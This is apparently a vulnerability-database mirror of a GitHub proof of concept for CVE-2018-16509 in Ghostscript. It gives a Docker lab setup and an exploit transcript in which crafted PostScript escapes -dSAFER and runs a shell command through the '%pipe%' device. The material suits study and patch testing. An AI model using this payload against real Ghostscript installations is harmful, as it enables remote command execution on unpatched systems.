CVE-2018-16509 PoC — Artifex Ghostscript 安全漏洞

Source

https://github.com/rhpco/CVE-2018-16509

Associated Vulnerability

Title: Artifex Ghostscript 安全漏洞 (CVE-2018-16509)
Description:An issue was discovered in Artifex Ghostscript before 9.24. Incorrect "restoration of privilege" checking during handling of /invalidaccess exceptions could be used by attackers able to supply crafted PostScript to execute code using the "pipe" instruction.

Description

CVE-2018-16509 Docker Playground - Ghostscript command execution

Readme

# CVE-2018-16509 Docker Playground

"An issue was discovered in Artifex Ghostscript before 9.24. Incorrect "restoration of privilege" checking during handling of /invalidaccess exceptions could be used by attackers able to supply crafted PostScript to execute code using the "pipe" instruction."
https://nvd.nist.gov/vuln/detail/CVE-2018-16509
https://access.redhat.com/security/cve/cve-2018-16509

## Build
```
docker build -t cve-2018-16509:latest . 
```

## Run + Exec
```
docker exec -it `docker run -d cve-2018-16509:latest` bash
```
## Version
```
[root@400498314b62 ~]# gs -v
GPL Ghostscript 9.22 (2017-10-04)
Copyright (C) 2017 Artifex Software, Inc.  All rights reserved.
```
## Exploit
```
gs -q -sDEVICE=ppmraw -dSAFER -sOutputFile=/dev/null
GS>legal
GS>{ null restore } stopped { pop } if
GS>legal
GS>mark /OutputFile (%pipe%id) currentdevice putdeviceprops
GS<1>showpage
uid=0(root) gid=0(root) groups=0(root)
[root@400498314b62 ~]# 
```

File Snapshot

Remarks

1. It is advised to access via the original source first.

2. Local POC snapshots are reserved for subscribers — if the original source is unavailable, the local mirror is part of the paid plan.

View subscription plans →